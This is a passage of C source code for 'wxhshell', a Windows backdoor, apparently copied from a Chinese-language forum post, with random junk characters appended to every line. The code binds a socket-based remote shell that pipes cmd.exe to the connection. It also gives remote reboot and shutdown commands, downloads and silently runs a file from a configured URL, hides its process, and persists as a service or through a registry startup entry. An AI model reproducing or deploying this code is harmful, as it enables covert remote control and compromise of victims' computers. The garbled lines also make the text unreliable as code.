  acd:r%y  
  // 帮助 1r r@  
  case '?': { mmw^{MK!  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Q '(ihUq*k  
    break; +&KQ28r  
  } bshGS8O  
  // 安装 weMww,:^[  
  case 'i': { ?j7vZ}iRi  
    if(Install()) Rd+P,PO  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +a= 0\lpOy  
    else #n\C |  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); y'ja< 1I>  
    break; Uh.Zi3X6}6  
    } !k$}Kj)I  
  // 卸载 vtJV"h?e"3  
  case 'r': { N12:{U  
    if(Uninstall()) bt+,0\Vg5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _ nT{g  
    else 3-40'$lE  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +w| 9x.&W  
    break; V's:>;  
    } 3HyhEVR-#~  
  // 显示 wxhshell 所在路径 O\;=V`z-  
  case 'p': { 5H,G-  
    char svExeFile[MAX_PATH]; M ixwK,  
    strcpy(svExeFile,"\n\r"); >zY \Llv  
      strcat(svExeFile,ExeFile); F)$K  
        send(wsh,svExeFile,strlen(svExeFile),0); wN37zPnV~  
    break; 5TBI<K  
    } :&'{mJW*{t  
  // 重启 u"$a>S_  
  case 'b': { 0BkV/v1Uc  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); PM$Ee #62R  
    if(Boot(REBOOT)) &ntBU]< q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \o3"~\|6C  
    else { j_?cpm{~ml  
    closesocket(wsh); FgA//)1  
    ExitThread(0); dTEJ=d40  
    } 5T4"j;_.BL  
    break; sc`"P-J+vp  
    } kR.wOJ7'  
  // 关机 *.y'(tj[  
  case 'd': { aI#4H+/  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); #`tD1T{;  
    if(Boot(SHUTDOWN)) yeD_j/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'Tb0-1S?  
    else { c-XLI  
    closesocket(wsh); FYPz 4K  
    ExitThread(0); E(+T*  
    } )&W|QH=AI  
    break; ^>~dlS  
    } !^U6Z@&/R  
  // 获取shell {j(4m  
  case 's': { X7aXxPCq1  
    CmdShell(wsh); ](r ^.k,R  
    closesocket(wsh); OsW"CF2  
    ExitThread(0); TW`mxj_J2  
    break; Zcd7*EBdx  
  } UPCQs",  
  // 退出 coQ[@vu  
  case 'x': { ){Z  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); &B-[oqC?  
    CloseIt(wsh); /rF8@l  
    break; &jts:^N>  
    } #dJ 2Q_2  
  // 离开 _=`x])mM  
  case 'q': { o0;7b>Tv  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); eFQQW`J  
    closesocket(wsh); 3_qdJ<,  
    WSACleanup(); K, (65>86;  
    exit(1); 993d/z|DX  
    break; Y4~vC[$ x'  
        } 3\!F\tqD \  
  } oo'w-\2]p  
  } #-x@"+z  
KvFR8s  
  // 提示信息 V> a*3D  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 5]"BRn1*  
} XK3]AYH  
  } <GWR7rUH  
P!+v:'P5f  
  return; okBE|g  
} gn5% F5W  
oW'PO Ar  
// shell模块句柄 {*=E?oF@  
int CmdShell(SOCKET sock) , p0KLU\-  
{ EnscDtf(  
STARTUPINFO si; <*@~n- R$  
ZeroMemory(&si,sizeof(si)); $^vP<  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ;e;\q;GP  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; >_Uj?F:  
PROCESS_INFORMATION ProcessInfo; k8&FDz  
char cmdline[]="cmd"; Fe= "EDh  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ?R?Grw)`H  
  return 0; r=csi  
} CM 9P"-  
J~J@ ]5/  
// 自身启动模式 N_vXYaY  
int StartFromService(void) ;/Q6 i  
{ \RE c8nsLy  
typedef struct ^pcRW44K  
{ ?iln<% G  
  DWORD ExitStatus; @%B4;c  
  DWORD PebBaseAddress; qyv"Wb6+  
  DWORD AffinityMask; 6+%-GgPf  
  DWORD BasePriority; %_tk7x  
  ULONG UniqueProcessId; xURw,  
  ULONG InheritedFromUniqueProcessId; }'`xu9<  
}   PROCESS_BASIC_INFORMATION; :HZ;Po   
_'c+fG \  
PROCNTQSIP NtQueryInformationProcess; %8Yyj{^!(  
_W9&J&l0so  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; rbh[j@s@  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; zUQe0Gc.b^  
q z:]-A  
  HANDLE             hProcess; A[9NP-~  
  PROCESS_BASIC_INFORMATION pbi; a;&}zcc*  
vXubY@k2  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 1l]C5P}E  
  if(NULL == hInst ) return 0; A9 n41,h  
Ygx,t|?7  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); @^wpAQfd4  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ('BLU.7IX  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 9r8D*PvS  
t&f" jPu>  
  if (!NtQueryInformationProcess) return 0; 6K// 1U$  
Q [:<S/w  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); R9=K(pOT  
  if(!hProcess) return 0; e`ex]py<C  
!w=,p.?V=  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; P!>g7X  
3uO8v{`  
  CloseHandle(hProcess); [0op)Kn  
a 2Et,WA%  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); a>(~C'(<  
if(hProcess==NULL) return 0; N?^_=KE@  
U9F6d!:L7A  
HMODULE hMod; sS'{QIRC'  
char procName[255]; RO$*G jQd  
unsigned long cbNeeded; ]+lF=kkc %  
paYz[Xq  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ^?sSx!:bZ  
V g6S/-  
  CloseHandle(hProcess); !=knppY  
+U=KXv  
if(strstr(procName,"services")) return 1; // 以服务启动 ecT]p  
I}ndRDz[  
  return 0; // 注册表启动 uH] m]t  
} zi_[ V@Es/  
Cn/q=  
// 主模块 7yUvL8p-  
int StartWxhshell(LPSTR lpCmdLine) * 2%oZX F  
{ [U']kt  
  SOCKET wsl; bQpoXs0w;  
BOOL val=TRUE; #8&#E?^d  
  int port=0; /=- h:0{M  
  struct sockaddr_in door; 8'% +G  
"Y(%oJS]D  
  if(wscfg.ws_autoins) Install(); ]]3Q*bq4  
q!@c_o  
port=atoi(lpCmdLine); T"B8;|  
sOC| B  
if(port<=0) port=wscfg.ws_port; p Mh++H]"  
\aB&{`iG  
  WSADATA data; G "c/a8  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; R{ 4u|A?9  
T#/11M$uQ  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   g!\QIv1D  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); W7T" d4  
  door.sin_family = AF_INET; _&=9Ke  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ?9qAe  
  door.sin_port = htons(port); ]Qc: Zy3  
 X)y*#U  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { MKe *f%  
closesocket(wsl); J:[3;Z  
return 1; @NBXyC8,Z  
} E~qK&7+  
CCy .  
  if(listen(wsl,2) == INVALID_SOCKET) { wV?[3bEhM  
closesocket(wsl); + f6}p  
return 1; wb@]>MJ}[s  
} 6XZN>#  
  Wxhshell(wsl); .GtINhz*  
  WSACleanup(); 6eOxF8  
r*>QT:sB  
return 0; iAg}pwU  
NrW[Q 3E$  
} =$[W,+X6f  
cUYX1a)8  
// 以NT服务方式启动 ?9CIWpGjU  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) pM,#wYL  
{ zcZ^s v>  
DWORD   status = 0; z{AM2Z  
  DWORD   specificError = 0xfffffff; "^!j5fZ  
jw/ wcP  
  serviceStatus.dwServiceType     = SERVICE_WIN32; J511AoQ{R  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; x[Hhj'  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ;Xz(B4N~o  
  serviceStatus.dwWin32ExitCode     = 0; $F<%Jl7_Z  
  serviceStatus.dwServiceSpecificExitCode = 0; qP@L(_=g  
  serviceStatus.dwCheckPoint       = 0; ~y`Pwj  
  serviceStatus.dwWaitHint       = 0;  -\5[Nq{N  
Z#%}K Z  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); BR%{bY^ 5p  
  if (hServiceStatusHandle==0) return; 0VG^GKmx  
&#$2;-q8+  
status = GetLastError(); Xk;Uk[  
  if (status!=NO_ERROR) vxF:vI# @  
{ kK08W3@&t  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; T$f:[ye]Z  
    serviceStatus.dwCheckPoint       = 0; ya;@<b  
    serviceStatus.dwWaitHint       = 0; `AB~YX%(  
    serviceStatus.dwWin32ExitCode     = status; '! #On/  
    serviceStatus.dwServiceSpecificExitCode = specificError; L,tZh0  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]U#JsMS  
    return; 6Uch 0xha!  
  } p^}L  
^"PfDTyA  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; :A,O(   
  serviceStatus.dwCheckPoint       = 0; T,A!5V>cX  
  serviceStatus.dwWaitHint       = 0; 5R& x{jf$  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); & %@/Dwr  
} wbn^R'  
7cy+Nz  
// 处理NT服务事件,比如:启动、停止 Fa6H(L3  
VOID WINAPI NTServiceHandler(DWORD fdwControl) j'#)~>b  
{ ^f!Zr  
switch(fdwControl) Xq[:GUnt  
{ xq8}6Q  
case SERVICE_CONTROL_STOP: X^u4%O['  
  serviceStatus.dwWin32ExitCode = 0; PEK.Kt\M  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; GP0[Y  
  serviceStatus.dwCheckPoint   = 0; <.y;&a o  
  serviceStatus.dwWaitHint     = 0; # w i&n  
  { ' }y]mFpF  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9<+;hH8J_r  
  } v#{G8'+%  
  return; MHC.k=  
case SERVICE_CONTROL_PAUSE: |k/`WC6As.  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; GG@iKL V  
  break; d<e+__ 2  
case SERVICE_CONTROL_CONTINUE: u Zo]8mV  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; U&tfl/  
  break; yd\5Z[iEp  
case SERVICE_CONTROL_INTERROGATE: Krt$=:m|1  
  break; f>.` xC{  
}; v)wY  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); FF5tPHB  
} 6:e}v'q{  
z_5rAlnwT.  
// 标准应用程序主函数 WV5r$   
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ]Om'naD  
{ ahK?]:&QO  
,+swH;=7#r  
// 获取操作系统版本 -6.i\ B  
OsIsNt=GetOsVer(); {o Q(<&Aw  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Yg\{S<wr  
5 ]A$P\7~1  
  // 从命令行安装 fU\k?'x_  
  if(strpbrk(lpCmdLine,"iI")) Install(); fzq'S]+  
;$E~ZT4p  
  // 下载执行文件 \ SoYx5lf  
if(wscfg.ws_downexe) { KqT#zj  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) \<0G kp  
  WinExec(wscfg.ws_filenam,SW_HIDE); FN{H\W1cf  
} xkk@ {}J\  
Qivf|H619  
if(!OsIsNt) { G.A=hGw  
// 如果时win9x,隐藏进程并且设置为注册表启动 w !=_  
HideProc(); [u!p-  
StartWxhshell(lpCmdLine); 0R2S@4%Y  
} bn^mL~  
else pe`TH::p  
  if(StartFromService()) 2tg/S=t}  
  // 以服务方式启动 GqmDDL1  
  StartServiceCtrlDispatcher(DispatchTable); N2+mN0k;  
else bUY:XmA  
  // 普通方式启动 ,)B~cic'u  
  StartWxhshell(lpCmdLine); SXT@& @E  
UBUB/N Y  
return 0; ^VM"!O;h{  
}
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只看该作者 1 发表于: 2006-10-10
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